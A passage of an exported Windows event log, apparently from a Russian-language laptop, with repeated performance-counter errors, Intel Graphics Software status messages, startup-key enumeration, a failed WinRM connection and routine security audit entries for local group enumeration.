incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.676\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.676\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.678\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.680\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.680\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.680\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.680\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.680\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.681\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.681\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.685\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"SupportedColorFormatAndDepth\",\"parameters\":{\"Display\":\"Internal\",\"Supported\":true,\"CurrentPixelFormat\":\"RGB\",\"CurrentColorDepth\":\"BPC_8\",\"PixelFormat RGB\":\"7FFC54E9D31C\",\"PixelFormat YCBCR_420\":\"7FFC54E9D314\",\"PixelFormat YCBCR_422\":\"7FFC54E9D314\",\"PixelFormat YCBCR_444\":\"7FFC54E9D314\",\"ColorDepth 6bpc\":\"7FFC54E9D314\",\"ColorDepth 8bpc\":\"7FFC54E9D31C\",\"ColorDepth 10bpc\":\"7FFC54E9D31C\",\"ColorDepth 12bpc\":\"7FFC54E9D314\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.700\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.700\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.700\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.701\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.705\t2\t{\"category\":\"CtlLibGraphicsController\",\"level\":\"Information\",\"message\":\"Graphics display: Internal - 8388688\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.740\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.806\t2\t{\"category\":\"WindowsDisplayManagerWrapper\",\"level\":\"Information\",\"message\":\"GetMonitorName 8388688: \"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.855\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.876\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"PerformanceMetricsOverlay_Position\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Set\",\"value\":\"TopLeft\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.877\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"PerformanceMetricsOverlay_TargetAdapterPersistentId\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Set\",\"value\":\"\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.880\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"PerformanceMetricsOverlay_AdapterId\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Set\",\"value\":\"\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.881\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"PerformanceMetricsOverlay_TargetDisplayId\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Set\",\"value\":\"\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.941\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:29.981\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:29.983\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:29.987\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:30.124\t42\t{\"category\":\"PresentMonWrapper\",\"level\":\"Information\",\"message\":\"Loaded PresentMonAPI2.dll\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:30.426\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.426\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.427\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.427\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.434\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.557\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.784\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.908\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.926\t9708\tFinished execution of command 'IntelGraphicsSoftware.exe\" -s' (PID 16176).\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.927\t9706\tFinished enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.943\t9705\tStarted enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.943\t9706\tFinished enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.943\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.943\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.944\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.944\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.947\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:31.134\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:31.255\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:31.480\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:31.700\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:31.924\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:31.959\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 08:29:31.959\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 08:29:31.959\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 08:29:31.980\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x25e8\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:31.981\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon 